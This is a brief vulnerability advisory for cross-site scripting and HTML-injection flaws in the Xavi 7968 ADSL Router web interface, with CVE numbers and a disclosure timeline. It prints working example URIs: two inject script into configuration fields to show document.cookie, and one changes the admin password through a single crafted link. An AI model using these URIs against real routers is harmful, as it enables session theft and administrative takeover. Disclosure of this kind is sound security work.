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Credit:
The information has been provided by Busindre
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Vulnerable Systems:
* Xavi 7968 ADSL Router 0 and prior
The attacker can exploit the issues to execute arbitrary script code in the context of the vulnerable site, potentially allowing the attacker to steal cookie-based authentication credentials, or perform certain administrative functions on victim's behalf. Other attacks are also possible.
An attacker must trick an unsuspecting victim into following a malicious URI to exploit these issues. An attacker can exploit the HTML-injection issues through a browser.
The following example URIs are available:
http://www.example.com/webconfig/wan/confirm.html/confirm?context=pageAction%3Dadd%26pvcName%3D%2522%253e%253c%252ftd%253e%253cscript%253ealert%28document.cookie%29%253c%252fscript%253e%26vpi%3D0%26vci%3D38%26scat%3DUBR%26accessmode%3Dpppoe%26encap%3Dvcmux%26encapmode%3Dbridged%26iptype%3Ddhcp%26nat_enable%3Dfalse%26def_route_enable%3Dfalse%26qos_enable%3Dfalse%26chkPPPOEAC%3Dfalse%26tBoxPPPOEAC%3DNot%2520Configured%26sessiontype%3Dalways_on%26username%3Da%26password%3Dss&confirm=+Apply+
http://www.example.com/webconfig/lan/lan_config.html/local_lan_config?ip_add_txtbox=www.example2.com&sub_mask_txtbox=255.255.255.0&host_name_txtbox=Hack<SCRIPT>alert(document.cookie)</script>&domain_name_txtbox=local.lan&mtu_txtbox=1500&next=Apply
http://www.example.com/webconfig/admin_passwd/passwd.html/admin_passwd?sysUserName=1234&sysPassword=12345&sysCfmPwd=12345&cmdSubmit=Apply
CVE Information:
CVE-2012-5323
CVE-2012-5322
Disclosure Timeline:
Published: Feb 21 2012 12:00AM
Updated: Oct 10 2012 06:20PM
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